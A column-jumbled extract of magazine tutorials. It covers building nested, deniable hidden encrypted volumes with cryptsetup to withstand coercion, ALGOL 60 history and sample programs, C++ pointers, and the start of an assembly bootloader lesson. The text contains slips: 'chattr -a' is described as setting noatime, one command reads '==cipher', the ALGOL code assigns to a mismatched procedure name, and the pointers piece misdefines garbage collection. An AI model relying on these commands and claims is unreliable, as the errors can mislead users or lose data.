                                                               size of the block device in 512-byte sectors; in this
fdisk is still the quickest and easiest way to create          case we are using 2GB which is 4,194,304 512-byte
partitions, and it’s always accessible from the terminal.      sectors. We are going to put our secret partition about



                                                                 www.linuxvoice.com                                                                  97
     TUTORIAL HIDDEN ENCRYPTED VOLUMES

                                                                                                partition table with data in it. Now it’s important to
                                                                                                remember that if you write to this device you risk
                                                                                                destroying the encrypted data. This is especially true
                                                                                                for solid state memory, so it’s important to place all of
                                                                                                the top-level data that you want to use on the device
                                                                                                before you create the hidden volumes. To open that
                                                                                                hidden volume you need to first unmount the top level
                                                                                                partition then run the same cryptsetup command we
                                                                                                used earlier.
                                                                                                  $: sudo umount /dev/sd*1
                                                                                                  $: sudo cryptsetup --type=plain --cipher=twofish-xts-plain64
                                                                                                --offset=2100000 open /dev/sd* secret
                                                                                                  Enter your passphrase again and then mount the
                                                                                                secret partition wherever you like.
                                                                                                  $: sudo mount /dev/mapper/secret /mnt/temp
                                                                                                   What we have created is a normal looking device
                                                                                                with information on it that can be read and used
Shhh... we’re creating our
                               halfway through the drive, so our offset is going to be          normally, as well as a hidden volume that can not
secret filesystem. Make
sure no one is looking!        2,100,000. You can also select your own cipher, but I’ll         even be proven to exist at all.
                               leave that to you to explore.                                       Now I know some of you are thinking: “Isn’t it
                                 $: sudo cryptsetup --type=plain --cipher=twofish-xts-plain64   suspicious to have a device that has been completely
                               --offset=2100000 open /dev/sd* secret                            randomly overwritten and only contains a little data
                                  It’s important to note that what we’re actually doing         at the beginning of the drive?” Well yes, it may be
                               is taking raw blocks off the device and running them             suspicious. Although it cannot be proven that any real
                               through our encryption cipher in RAM. If you were to             data exists at the end of that drive, we can make it
                               say, change the password that you use by even one                even more resistant to potential coercion.
                               character, you would be opening a completely new                    Let’s say you have some powerful enemies and
                               and different decrypted version of the same blocks.              they’ve looked very hard at the device and decided
                               This also applies if your offset is off by even one 512-         that you do in fact have an encrypted volume on the
     PRO TIP                   byte sector. This is why it is important that you save           end of your drive and they’re going to make you open
 You could use encryption      all the information in the above command, otherwise              it or they will drown your beloved hamster Leopold
 on the visible partition to   you will be unable to reopen the hidden partition.               right before your very eyes. These guys are not going
 throw another variable
 into the singularity.         This also means that cryptsetup will never warn you              to take “uh, I forgot the password.” for an answer.
                               if you enter the information incorrectly: it just opens          What we can do in this case is nest another hidden
                               the volume according to the given parameters. The                volume within the previous volume “secret” that we
                               passphrase, cipher, and offset are effectively replacing         created. We’ll call this the inception volume.
                               the Luks header that would normally exist to open the
                               volume.                                                          Create the hidden, hidden partition
                                  For additional security you might consider using              Let’s assume we have anticipated the above hamster
                               a random offset number like 2187942 instead of                   hostage scenario as a possible outcome and prepared
                               2100000, though this is certainly unnecessary since              accordingly. For this scenario we’ll have a normal-
                               we are already employing tinfoil hat levels of security.         looking drive with normal data on it, and we’ll have a
                                  Now we have our first secret volume open and it               hidden encrypted volume on the end of the drive
                               will be available on /dev/mapper/secret. You can use             containing yet another hidden encrypted volume
                               whatever name you like for your hidden volume. All               within. What we are going to do is assume that we are
                               you’d need to do is change the last word of the above            going to have to give up the keys to our first hidden
                               command. What we’ll do next is create a filesystem               encrypted volume.
                               directly on our secret block device.                                The first hidden volume will contain only decoy
                                 $: sudo mkfs.ext4 /dev/mapper/secret                           data. The decoy data should be convincing – after all,
                                Now that we have our hidden filesystem, let’s                   you need this coercive party to believe it was at least
                               mount it somewhere.                                              worth encrypting. We’ll assume you best know what
                                 $: sudo mount /dev/mapper/secret /mnt/temp                     plausible data you might want to hide but wouldn’t
                                 Go ahead and put some secrets in there! Once                   mind being revealed to an attacker in an emergency.
                               you’re finished, unmount the hidden filesystem and                  What we are going to do is treat /dev/mapper/
                               close the block cipher with:                                     secret the same way we previously treated /dev/
                                 $: sudo umount /mnt/temp                                       sd*; as a plain block device. You’ll need to generate
                                 $: sudo cryptsetup close /dev/mapper/secret                    another password and calculate another offset. For
                                 Unplug the USB or reboot and test to see if the first          this example we’ll just cut the last offset we used in
                               partition we set up is available. You should now have            half to 1050000, which should give us about 300MB
                               a disk that looks as though it has a normal working              of inception volume space.



98                                                                www.linuxvoice.com
                                                                                     HIDDEN ENCRYPTED VOLUMES TUTORIAL

  Open the secret partition we previously created, and                                                                               You can never have enough
                                                                         Hidden encrypted
instead of secrets, place some decoy data into it. It                                                                                levels of security. If you’re
                                                                             volumes
should already be mounted on /mnt/temp from the                                                                   secrets   Hidden   concerned, add more.
previous step. I’d suggest that you use no more than
30% of the available space. After you have finished                                                         plausible
writing the decoy data, unmount the partition                                                                hidden         Decoy
                                                                                                              data
  $: sudo umount /dev/mapper/secret
  Now create the inception partition using /dev/
mapper/secret as the target block device. Remember                                           non-private data:              Normal
                                                                                        movies, photos, music, etc . . .
to generate a new random password and use the new
offset for this volume.
  $: sudo cryptsetup --type=plain --cipher=twofish-xts-plain64
--offset=1050000 open /dev/mapper/secret inception
   You should now see /dev/mapper/inception, which
is the true hidden volume. Let’s make a filesystem on
/dev/mapper/inception as we did with our first
hidden partition.                                                promotes creativity by freely providing powerful tools
  $: sudo mkfs.ext4 /dev/mapper/inception                        that can be used in many different ways. I invite you
  We can now mount the inception volume.                         to explore cryptsetup and dmcrypt more fully, as
  $: sudo mount /dev/mapper/inception /mnt/temp                  there are many more amazing things that you can
  This is now where you would place your super                   accomplish with these tools.
secret sensitive data. Note that this setup is unstable
when using any kind of solid state technology such               Flash/SSD
as a USB flash drive. It can certainly be done if you            Flash memory isn’t allocated in contiguous blocks;
are careful about not writing too much to the drive              blocks are instead allocated based on wear-levelling.
after its creation. After you have finished placing your         There is a controller in every flash drive that keeps
sensitive data into the inception partition you can              track of the pages in the drive and calls upon them in
close the disk:                                                  a manner that distributes writes evenly in order to
  $: umount /dev/mapper/inception                                maximise the drive’s life. For this reason if you are
  $: sudo cryptsetup close /dev/mapper/inception                 using a flash drive I would recommend that you keep
  $: sudo cryptsetup close /dev/mapper/secret                    the non-hidden partition mostly empty and to set the
  Unplug the disk then plug it back in. You should see           file attributes on any files contained therein to
only the top-level partition containing the media we             noatime. This can be done with the chattr command:
placed there in the beginning. To access your hidden,              $: chattr -a /path/to/files/*
hidden data you must open both encrypted volumes                    This will minimise the chance that accessing data
after first unmounting the top level partition (if it was        in the top-level partition will destroy data in the decoy
auto-mounted).                                                   or inception volumes. Also while using solid state
  $: umount /dev/sd*1                                            memory you should always avoid writing to the device
  $: sudo cryptsetup --type=plain --cipher=twofish-xts-plain64   after it is initially created, as every time you do you risk
--offset=2100000 open /dev/sd* secret                            destroying your hidden data. Instead, it would be safer
  $: sudo cryptsetup --type=plain ==cipher=twofish-xts-plain64   to build an entirely new set of hidden partitions each                   PRO TIP
--offset=1050000 open /dev/mapper/secret inception               time you would like to add secret data to your device.               It’s only because open
  $: mount /dev/mapper/inception /mnt/temp                       This process could easily be scripted in Bash.                       source is transparent that
                                                                                                                                      we can have any
   This technique illustrates some of the powerful                  The partition scheme we created was tested 10                     confidence in encryption.
things that one can accomplish using standard Linux              times on a single flash drive to determine if failures
tools. The Linux ecosystem is set up in a way that               were likely to occur during the creation process. These
                                                                 tests were performed on a 2GB USB flash drive that
                                                                 was about 25% full on the top level. There were 15
               DATA         /dev/mapper/inception
                               /dev/mapper/secret                decoy files totalling 151MB on the decoy volume and
               OFFSET                  /dev/sdb1                 8 inception files totalling 81MB on the hidden, hidden
                                                                 volume. There were zero failures out of 10, however
                                                                 you should always thoroughly test the volumes after
                                                                 creation and make backups of important data. The
                                                                 limit to how much you will be able to add to the drive
                                                                 after its initial creation will depend on the specific
                                                                 flash drive’s page size and the size and number of files
                                                                 you’ve added.

                                                                  Jake Margason isn’t paranoid; he just knows that everyone
With a couple of Linux commands, we can use /dev/
                                                                  really is out to get him.
mapper just like any ordinary block device.



                                                                   www.linuxvoice.com                                                                          99
      TUTORIAL ALGOL



                           ALGOL: THE LANGUAGE
           TUTORIAL
                           OF ACADEMIA
     JULIET KEMP
                           ALGOL introduced concepts that are an integral part of nearly every
                           language since – but it never stood a chance against FORTRAN.

                           U
                                     nless you’ve studied computer science, you           assignments (local vs global) and control
                                     probably won’t have heard of ALGOL. It was           statements (if blocks, loops, functions, etc). This is
                                     designed by a committee of scientists, half          a feature of pretty much all subsequent languages.
                           from the US Association for Computing Machinery                Two methods of passing parameters to subroutines
                           (ACM), and half from the German Gesellschaft für               (functions): call by value (where all arguments are
                           Angewandte Mathematik und Mechanik (GAMM).                     evaluated before being passed into the function)
                           They met in Zurich in 1958, with the grand intention of        and call by name (where the arguments are
                           designing a universal computing language. The                  evaluated in the function itself).
                           preliminary post-meeting report called this language           If/then/else statements and an iteration control
                           IAL (International Algebraic Language); it was officially      statement. FORTRAN did have some if statements
                           renamed ALGOL about a year later. The first ALGOL 58           and a do loop in 1957, and some machine
                           compiler was implemented by the end of 1958.                   languages had versions of it too. However, the
                              ALGOL 58 was fairly basic. It did introduce the basic       ALGOL version was broader, less limited;
                           idea of a compound statement: a block of statements,           FORTRAN’s was initially only arithmetic-based.
                           surrounded by begin...end, which can be treated                Recursion: a program or function could call itself.
                           as a single statement. This works particularly well            (FORTRAN didn’t have this officially until 1977.)
                           with control structures such as loops and if/then              According to reports from the 1960 committee,
                           structures. However, ALGOL 58 was soon superseded              recursion was to some extent snuck in the definition
                           by ALGOL 60, which is the version of ALGOL we’ll               against the preferences of part of the committee.
                           look at here. It came from a design meeting in Paris           ALGOL had some initial popularity with research
                           in 1960, consisting of seven scientists from Europe         scientists, but less so commercially, due partly to the
                           and six from the USA, described by Alan Perlis as           lack of I/O functions and partly to the fact that few of
                           “exhausting, interminable, and exhilarating”.               the big computer vendors were interested in it. IBM
                              Here are some of ALGOL’s characteristics:                had been heavily pushing FORTRAN, and there were
                              Block structure: the ability to create blocks of         already a significant number of FORTRAN programs
                              statements that control the scope of both variable       floating around for people to build on. ALGOL’s
                                                                                       problems may also be a reflection of the fact that it
                                                                                       was designed by academics, with no real effort made
                                                                                       to make it easy to understand, although it is very clear
                                                                                       if you are familiar with the necessary mathematical
                                                                                       and logical concepts. (In comparison, FLOW-MATIC
                                                                                       and later COBOL were designed to be accessible for
                                                                                       non-scientific users.)
                                                                                          However, there were machines that ran ALGOL.
                                                                                       Burroughs machines in particular were designed
                                                                                       to run ALGOL well (in particular their own Extended
                                                                                       ALGOL version), and there are still ALGOL-friendly
                                                                                       machines running today. A couple of current
                                                                                       ALGOL programmers, both using Unisys Clearpath
                                                                                       mainframes, popped up on a Stack Overflow thread in
                                                                                       2012, so at least as of two years ago it was active in
                                                                                       the wild.
                                                                                          ALGOL 68 was intended to be a successor to
                                                                                       ALGOL 60, but in practice it was more like a complete
Peter Naur, Turing Award                                                               rewrite. It is much more complex than ALGOL 60
winner (although he
                                                                                       (and was criticised by some of the design committee,
prefers Backus Normal
                                                                                       including Edsger Dijkstra, for this). It is sufficiently
Form to Backus-Naur
Form).                                                                                 different that it is treated as a separate language;
CC BY-SA 3.0                                                                           “Algol” in general refers to versions of ALGOL 60.



100                                                        www.linuxvoice.com
                                                                                                                                         ALGOL TUTORIAL


  ALGOL’s influence
  C.A.R. Hoare in 1973 said that ALGOL was “a language so far      computers, it didn’t have much of a future. But as a means
  ahead of its time, that it was not only an improvement on its    of describing algorithms to other humans, in journals and
  predecessors, but also on nearly all its successors.” Hoare      publications, it was hugely popular; and it was used for years
  was a big fan of the simplicity and clarity of ALGOL’s program   to teach algorithmic programming at universities. As such,
  structure and concepts.                                          its real long-term impact may be more subtle. A generation
     The development of Backus-Naur form was one of ALGOL’s        of academically-trained coders had at least some ALGOL
  important effects. Blocks and compound statements were first     experience, whatever they might later go on to do. Arguably,
  seen in ALGOL and were picked up by nearly every language        the fact that ALGOL never became commercially popular
  thereafter; and ALGOL was the first language to explicitly       actually helped this; it didn’t need to worry about moving
  make recursion possible, although it had been possible in        onwards, about backwards compatibility, or any of the rest of
  practice to write recursive procedures before then.              that. It just continued to do what it did, and it did it very well.
     In general, what ALGOL did was to clarify and popularise a       (With thanks to Huub de Beer and his excellent and
  collection of concepts that already sort of existed but hadn’t   fascinating history of ALGOL, available at http://heerdebeer.
  been specified so neatly before this. As a language used on      org/ALGOL)


   The structure of a language is determined by its                directory with
grammar: the set of rules describing what is permitted             ./configure; make; make install
in the language. Backus-Naur form was developed in                 By default this installs things in /usr/local/ (check the
order to describe ALGOL 60, but also as a notation to              configure options if you wish to change this). Edit your
describe any grammar for any language. Most of it                  $PATH if Marst doesn’t find the executable. You may
was created by John Backus (who was responsible                    also need to edit $LD_LIBRARY_PATH if it is blank:
for the team who developed FORTRAN), but it was                    $ echo $LD_LIBRARY_PATH
improved for ALGOL 60 by Peter Naur. Since then it is              $ export LD_LIBRARY_PATH=/usr/local/lib
nearly always used to formally specify the rules for a             $ echo $LD_LIBRARY_PATH
                                                                                                                                               PRO TIP
language. Every rule is given like this:                           /usr/local/lib
                                                                                                                                            Algol is also a bright
name ::= expansion                                                 First up, as ever, Hello World:                                          star in the constellation
  This means that name can be expanded into, or                     comment This is a Hello World example;                                  Perseus; specifically,
replaced by, expansion (they are defined to be the                  outstring(1, “Hello world!\n”)                                          an eclipsing binary star
                                                                                                                                            with a partial eclipse
same).                                                                The begin and end lines do what you expect.                           every 68.75 hours. The
  Here’s an example from the first version of BNF:                 comment treats all the following characters as a                         brightness change is
<number&rt; ::=<digit&rt; |<number&rt; <digit&rt;                  comment (across multiple lines if need be) until                         visible to the naked eye.
                                                                                                                                            In fact it’s a triple-star
<digit&rt; ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9               it encounters a semi-colon. In general, ALGOL                            system, but the third
   The | sign means ‘or’, so the first line means that             statements end with a semi-colon, but the last one                       star is quite far from the
any number is defined as an digit, or any number                   before the final end need not.                                           eclipsing pair.
followed by a digit. The second line defines a ‘digit’. So            As mentioned above, the original ALGOL 60 spec
this means that a number consists of any number of                 did not include I/O functions. Various compilers
digits. Here’s another example from the K&R definition             solved this problem with their own library functions;
of C:                                                              outstring seems to have come from IBM, and was
type_qualifier                      :== ‘const’ | ‘volatile’       officially included in the modification of ALGOL 60
This means that a type qualifier can be either const or            published in 1976. outstring uses an I/O channel, of
volatile. (This is from C89; two more types now exist.)            which there are 16, to provide input and output. 0 is
   Grammars are useful partly because they provide                 always stdin and 1 (as here) is always stdout. Others
a formal definition of a language, so there’s no room              must be assigned to files.
for disagreement or ambiguity. This in turn makes it                  To compile and run this code takes several steps,
possible in many cases to mechanically build parsers               as you need to translate it into C, then compile the C
and compilers. Extended BNF (which includes the                    with reference to the relevant libraries:
?, *, and + operators to represent different sorts of              $ marst hello.alg -o hello.c
repeated value) is used to define even more different              $ gcc hello.c -lalgol -lm -o hello
protocols and data formats.

Running ALGOL and Hello World
To compile ALGOL 60 on a modern Linux machine,
your best bet is the GNU project Marst, which is an
Algol-to-C translator. You’ll need to get it from a GNU
mirror (see its webpage – www.gnu.org/software/
                                                                                                                                           Our Hello World program
marst) as it doesn’t seem to be packaged for at least                                                                                      written and compiled. Note
the Linux distributions I checked.                                                                                                         the “dummy statement”
  Once it’s downloaded and unpacked, you should                                                                                            warning about that final
be able to compile and install it from the unpacked                                                                                        semi-colon.


                                                                     www.linuxvoice.com                                                                              101
      TUTORIAL ALGOL


Version 1 of the                                                                         Similarly, procedure code (operational code,
Archimedes program                                                                       after the variable declarations) needs a begin...
narrowing the range down.                                                                end enclosure. This is what allows ALGOL to
A neater way to do this                                                                  treat multiple statements as a single procedure
might be to edit the                                                                     (function) block.
values of a and b in a                                                                   The line integer procedure oneton(N) defines a
single procedure, without                                                                procedure which returns an integer, is called oneton,
returning a value at all:
                                                                                         and takes a single parameter, N.
                                                                                         The value keyword specifies that we are passing
                                                                                         these parameters in by value; that is, they are
                                                                                         evaluated and then passed into the procedure.
                                                                                         (The other option is to pass by name, in which case
                                                                                         they are evaluated within the procedure; see next
                             $ ./hello                                                   section.) In either case, the parameter’s type (eg
                             Hello world!                                                integer) must also be specified.
                             $                                                           The for loop syntax is straightforward, but for
                                                                                         multiple lines, once again you need begin...end
                             Mini program                                                wrapping to create a block.
                             Here’s another test program to get the idea of how          To call, and get a return value from, a procedure,
                             things are structured:                                      create a variable and assign the procedure to it.
                              integer N, M;                                              outinteger does the same thing for integers as
                              N := 12;                                                   outstring does for strings. (There’s also outreal.)
                                                                                         Anything after end is treated as a comment. This
                              begin                                                      means you can put labels on your end lines (eg end
                               integer procedure oneton(N);                              foo; to help you remember where you are in the
                                value N;                                                 code. I found this useful when bugfixing.
                                integer N;
                               begin                                                   Finding pi
                                integer i;                                             This next piece of code uses the method Archimedes
      PRO TIP                   for i := 1 step 1 until N do                           developed of finding π, by drawing a polygon just
 If you’d rather try out         begin                                                 around a circle, a polygon just inside the unit circle,
 ALGOL 68, Algol 68 Genie
 is available at http://           outinteger (1, i);                                  and using these as an upper and lower bound on the
 jmvdveer.home.xs4all.nl/          outstring (1, “\n”);                                circumference of the circle.
 contents.html, packaged         end loop;                                                The bounds are expressed like this (2πr being the
 for many distributions
 or in source code form.        onetoten := (N * 2);                                   circumference of a circle, and an the side length of the
 There’s also a web app        end oneton;                                             n-sided polygon drawn outside the circle):
 that enables you to try                                                               an > 2πr > bn
 out code in your browser.
                               M := oneton(N);                                            If you start with a unit circle r = 1, so a and b provide
                               outinteger(1, M);                                       bounds for 2π .
                                                                                          To calculate a and b, we use an iterative formula,
                              end all;                                                 starting with a6 and b6 which represent hexagons
                                You’ll get even more “unlabelled dummy statement”      drawn outside and inside a unit circle. These values
                             warnings this time, again due to ‘unnecessary’            are easy to calculate and come out at 4√3 and 6. The
                             semicolons. My experience was that trying to remove       iterative formulae are:
                             these warnings just meant more time spent bug-            a2n = (2anbn) / (an + bn)
                             hunting every time I edited the code and the necessity    b2n = √ (a2nbn)
                             of the semi-colons changed. Feel free to edit them out
                             if you disagree.
                                                                                         ALGOL’s influence
                                Here’s some of the aspects of ALGOL you’ll see in
                             the code:                                                   In some versions of ALGOL, the compiler required “keyword
                                The first two lines (declaring global variables) can     stropping”, which looked like this:
                                                                                           ‘INTEGER’ ‘PROCEDURE’ oneton(N);
                                also be moved to just before the M := onetoten(N);
                                                                                             ‘VALUE’ N;
                                line. However, the code fails to compile if you have         ‘INTEGER’ N;
                                those lines between the second begin and the               ‘BEGIN’
                                procedure definition.                                        ‘INTEGER’ i;
                                Assignment is the := operator. Variables must have          ie keywords are identified by quotes rather than
                                                                                         the compiler knowing the reserved words. The Marst
                                a type before they can have a value assigned to
                                                                                         compiler doesn’t require this, nor is it used in the example
                                them.                                                    documentation so I have used reserved keyword format for
                                You need begin...end around the main body of the         ease of reading.
                                code as well as around the full program.



102                                                            www.linuxvoice.com
                                                                                                                  ALGOL TUTORIAL

  So we start with a hexagon (n = 6), and double the                                                                 Version 2: passing by
number of sides in each round, getting steadily closer                                                               name.
and closer to a true circle.
  Here’s a program that does the calculation:
begin
 real a, b, anext, bnext;
 a := 4 * sqrt(3);
 b := 6;


 begin
  real procedure archimedesa(a, b);
   value a, b;
   real a, b;                                               outreal(1, (b / 2));
  begin                                                     outstring(1, “\n”);
   archimedesa := (2 * a * b) / (a + b);                   end archprint;
  end archimedesa;
                                                           integer i;
  real procedure archimedesb(anext, b);                    for i := 1 step 1 until 10 do
   value anext, b;                                         begin
   real a, b;                                               archimedes(a, b);
  begin                                                     archprint;
   archimedesb := sqrt (anext * b);                        end loop;
  end archimedesb;                                        end all;
                                                            This time, instead of calling by value (with the value
  integer i;                                             keyword), we pass parameters into the archimedes
  for i := 1 step 1 until 10 do                          procedure using call-by-name. This means that
  begin                                                  instead of evaluating a and b and passing the
   anext := archimedesa(a, b);                           evaluation into the procedure, we pass the actual
   bnext := archimedesb(anext, b);                       variables. This means that we can edit the variables
   a := anext;                                           within the procedure itself and these changes will
   b := bnext;                                           propagate globally rather than just locally. (This
   outreal(1, (a / 2));                                  is exactly the sort of side effect that functional
   outstring(1, “ > pi > “);                             programming seeks to avoid.)
   outreal(1, (b / 2));                                     The procedure archprint accesses the same global
   outstring(1, “\n”);                                   variables in a slightly different way; instead of being
  end loop;                                              passed in, it simply uses the fact that they are global
 end all;                                                variables to access them by name.
  As in the previous section, we declare our global
variables first, and then start the main body of the     Afterword
code. There are two procedures, one to calculate the     ALGOL 60 truly feels like a giant step forwards for the
next value of a, and one doing the same for b, both of   time; a language that pioneered ideas that have
which return a real value. The for loop then repeats     become an intrinsic part of how we code. In many
the iterative procedure 10 times, printing the results   ways, however popular FORTRAN might have been, it
each time.                                               took years for it to really catch up to ALGOL from a
 real a, b;                                              theoretical point of view. (Unfortunately, beauty and
 a := 4 * sqrt(3);                                       elegance are not always the most important factors
 b := 6;                                                 when making a choice of coding language; being able
                                                         to compile it has to come first, and availability of
 begin                                                   libraries is also important. Both of which factors
  procedure archimedes(a, b);                            ALGOL fell down on.)
   real a, b;                                               It would be nice to know what would have
  begin                                                  happened to ALGOL if it had lasted as long as
   a := (2 * a * b) / (a + b);                           FORTRAN; but perhaps ALGOL 68 demonstrates that
   b := sqrt (a * b);                                    the purity of an academically-designed ‘universal
  end archimedes;                                        language’, and the practicalities of writing code across
                                                         many different machines, were always going to clash
  procedure archprint;                                   sooner or later.
  begin
   outreal(1, (a / 2));                                   Juliet Kemp is a scary polymath, and is the author of
                                                          Apress’s Linux System Administration Recipes.
   outstring(1, “ > pi > “);



                                                           www.linuxvoice.com                                                                103
         CODING NINJA



                                  CODE NINJA: WHAT
              TUTORIAL
                                  ARE POINTERS?
                                  Ever wondered what those mysterious * and & symbols mean
GRAHAM MORRISON
                                  and how they’re used? Wonder no more.


                                  L
                                         ike a metaphorical bridge over the river Styx,             Here’s an example written in the lingua franca of
    WHY DO THIS?                         pointers are a bridge between the old world of           pointers, C++:
    • When reading someone               programming and the modern era of                        #include <iostream>
      else’s code, you’ll never
      need to worry about         languages. Using them helps the programmer feel                 int main ()
      encountering pointers.      closer to the bare metal of the machine, but many               {
    • Your linked lists will be   modern languages, quite rightly, eschew their liberal             int variable = 123;
      ridiculously efficient.     unregulated freedom because pointers quickly                      int * pointer;
                                  become unwieldy, difficult to follow and dangerous.               std::cout << “Variable: “ << variable << “\n”;
                                  And it’s true that a good programmer shouldn’t ever               pointer = &variable;
                                  need to use pointers, regardless of the language                  std::cout << “Pointer: “ << *pointer << “\n”;
                                  they’re using. But pointers are fascinating, and more             return 0;
                                  importantly, widely misunderstood.                              }
                                     Learning about how pointers work will give you                  Our example is generic C++ code. Even if you’ve
                                  some insight into how variables work as well as how             never messed with this language before it should be
                                  much real work your compiler and your computer are              relatively easy to follow because many languages use
                                  doing on your behalf, turning variables into executable         a similar syntax. Learning a little C or C++ (the
                                  code. If you’ve worked through Mike’s assembler                 object-oriented augmentation to the original
                                  tutorials (see page 106), pointers will also bridge the         specification) is handy, as it’s what was typically used
                                  gap between what you’ve learnt about referencing                to build many of the early Linux utilities and shells, and
                                  memory locations and what eventually become                     C is used by Linux kernel developers.
                                  variables in most other languages. We’re mentioning                The only bits in the above code that may cause
                                  variables a lot because a pointer is very similar to a          confusion are std::cout and <<. The first is the simple
                                  variable(the ‘i’ in ‘i = 1’, for instance), and a pointer can   function cout for sending text to your standard output.
                                  be used to perform very similar operations. But                 The std:: prefix means that the function is coming
                                  pointers are also far more flexible. This flexibility           from the namespace/class called std, which we
                                  doesn’t come about because they’re more advanced                imported from the iostream library in the very first
                                  than variables – and this is key to understanding what          line. The double less-than symbols, ‘<<’, are used here
                                  pointers are – they’re more powerful because they’re            just as they are in Bash on the Linux command line,
                                  less advanced and less defined in their roles.                  and redirect the data to the standard input.
                                                                                                     We’ve saved this to a file called pointer.cpp. If
                                  Flexibility                                                     you’ve got any kind of build environment installed, and
                                  By ‘less advanced’ we mean they’re halfway between              that includes those times you’ve allowed your
                                  being what we’d describe as assembler and what we’d             package manager to build things from source, you’ll
                                  describe as a higher function that behaves like a               be able to compile and link this file into an executable
                                  regular variable. It’s this half-way point that’s so            binary by typing:
                                  important because the programmer can access this                g++ -Wall pointer.cpp -o pointer
                                  entry point and use it to their advantage. This is the            After a few moment, the build process will finish
                                  reason why they’re so beloved by a certain calibre of C         and you’ll find that an executable file called pointer
                                  and C++ programmers, which is where you’ll most                 has been created in the same folder. You can run this
                                  commonly find pointers in action.                               as you would any local executable by typing ./pointer.
                                                                                                  The output should look like the following:
                                                                                                  $ ./pointer
                                    pointer                         0x7ffcba364334                Variable: 123
                                                                                                  Pointer: 123
   The left-hand column lists       *pointer
                                                                                                     Our source code first creates an integer variable
   the various ways of
   referencing the memory           &variable                                                     called variable, and use this to store the number value
   location of the variable                                                                       123. We then create another integer variable and call
   (top) and the value it
                                    variable                         123                          this one pointer. You should also have noticed that
   contains (bottom).                                                                             between the int and the name, there’s an asterisk (*)



   104                                                              www.linuxvoice.com
                                                                                                                               NINJA CODING

and this is where pointers enter the scene, centre                                                                             Programming languages
stage. The asterisk is one half of the unholy character                                                                        that support pointers
union that signals the use of pointers, the other                                                                              aren’t always able to report
character being & (ampersand). The asterisk comes                                                                              on errors that might be
first because it means that we’re creating a pointer,                                                                          generated by improper use,
                                                                                                                               so you need to be careful.
rather than a fully fledged variable. A pointer doesn’t
store the value, as with the int variable = 123
statement. Instead, it holds a reference to a variable
defined by the type that comes before the asterisk.
We’ve created an object that will hold a reference to a
variable that’s going to be an integer. This reference is
usually going to be the memory location of where a             itself. Which in turn is why the value that’s output is
variable is being held, but the end result is always that      the value being held by variable and not anything else.
it returns the value references by the memory location,        If you wanted to see the actual memory location
rather than returning the memory location itself.              value, just remove the * and rebuild the code. The
                                                               output from that line will show something like ‘Pointer:
Unary operators                                                0x7ffcba364334’, which is the real memory location of
Sometimes the exact position of the asterisk will              ‘variable’ being held by the pointer.
change, but it’s always used to signify the use of a              There’s another usage of pointers as a dereference
pointer. It’s what’s known as a unary operator, which          operator. This is where you’d assign the value
means it only operates on a single operand – the               referenced by a pointer to another variable, like this:
value that follows it. Both the symbols used to work           int newvariable = *pointer;
with pointers are unary operators. You could, for                  The value now held in newvariable is a copy of the
example, forget about the ambiguity of int and * and           value referenced by ‘pointer’ and not a pointer, if that
just tell yourself the int * string of characters is a         makes sense. If the pointer value changes,
special type that denotes a pointer to a variable that         newvariable won’t change because it’s been
holds an integer, but because * is an operator rather          decoupled/dereferenced from the pointer. And that’s
than a real type definition, this would be misleading.         all there is to pointers – the creation of a variable used
You need to keep using the asterisk symbol whenever            for a reference and the use of the & operator to return
you reference an object you’re using as a pointer              the memory address of where something is being
because it’s not a specific data type, it’s just a way of      stored. Because it’s a reference to a memory location,
passing a reference. This is important.                        if the value being held at that location changes then
   On the following line, we simply output the value of        so to will the value returned by the pointer. Pointers
the integer we created to illustrate that everything is        are useful when you don’t want to copy or duplicate
working as expected. It’s the                                                           large data types – you can use
line following this that shows     “Pointers crop up in lots                            them to pass functions to other
pointers in action.                                                                     functions, for example, and
 pointer = &variable;              of Linux code, especially                            they’re used to create linked lists.
   Here’s the other half of the    in the kernel.”                                         There’s one important side
character union, the                                                                    effect: you need to be careful
ampersand symbol (&). This is                                                           that you don’t leave any loose
a unary operator that’s used to return the memory              ends or broken pointers. This is collectively known as
location/address of a variable. Yes, the real memory           garbage collection, and C and C++ in particular do
location that’s currently holding the value of ‘variable’.     very little to help the programmer. You need to make
This is the kind of thing you’d expect to be doing with        sure you free up memory and unused pointers
assembler rather than a modern programming                     yourself. If you want to play with pointers, we’d
environment, but the ability to do this has survived           recommend a modern language with pointer support
because it enables you to perform a few neat tricks            and automatic garbage collection, such as Go. Its
that are difficult to pull off as efficiently with any other   implementation of pointers is very similar to C and
method. With the address of variable passed to                 C++, which helps with experimentation.
pointer, and with the definition of pointer as a                   Pointers are an anachronism that are probably best
reference to an integer, the compiler has everything it        avoided other than in specific circumstances. In C and
needs to return the value being held by variable, which        C++ they’re the only way to do certain things with
is what we do on the last line.                                complex data types, and because they’re so primitive,
   Knowing the size of the value being held at the             they’re lightning fast. But knowing how they work and
location being referenced is vital for the compiler to         what they’re capable of is still a useful exercise. They
know how much data to return and how it should be              crop up when reading lots of Linux code, especially in
interpreted. This is why the output from *pointer is the       the kernel, and they’re another useful technique when
value being referenced by the memory location being            a programming language doesn’t seem to offer
held in the pointer and not actually memory location           something similar itself.



                                                                 www.linuxvoice.com                                                                   105
      CODING MACHINE CODE



                             ASMSCHOOL: MAKE AN
         TUTORIAL
                             OPERATING SYSTEM
                             Part 4: Using the skills you’ve acquired in previous tutorials, you’re
MIKE SAUNDERS
                             ready to make your very own operating system!


                             W
                                         e’ve come a long way in the last few                  Here we’ll focus on its core features: loading and
 WHY DO THIS?                            months, starting with very simple                  running programs. Advanced operating systems do a
 • Learn what compilers do               assembly language programs for Linux,              lot more, such as managing virtual memory and
   behind the scenes
                             and finishing last issue with standalone code running          handling network packets, but those require years of
 • Understand the
   language of CPUs          on a real PC. But now we’re going to put everything            effort so we’ll focus on the essentials here. Last
 • Fine-tune your code for   together and make an actual operating system. Yes,             month we wrote a small program that fits into the first
   better performance        we’re going to follow in the footsteps of Linus                512 bytes of a floppy disk (the first sector), and this
                             Torvalds – but what exactly is an operating system?            month we’ll beef it up so that it can load other data
                             What does it do that we need to recreate?                      from the disk.


                               1     WRITING A BOOTLOADER
                             We could try to squeeze our operating system into the
                             first 512 bytes of the floppy disk – ie the chunk that’s       start:
                             loaded by the BIOS – but we wouldn’t have much                           mov ax, 07C0h           ; Where we’re loaded
                             space to do anything interesting. So instead, we’ll use                  mov ds, ax              ; Data segment
                             these 512 bytes for a simple bootloader, which will
                             load a kernel to another location in RAM and then                        mov ax, 9000h           ; Set up stack
                             execute it. (Then we’ll set up the kernel to load and                    mov ss, ax
                             execute other programs from the disk – though more                       mov sp, 0FFFFh          ; Stack grows downwards!
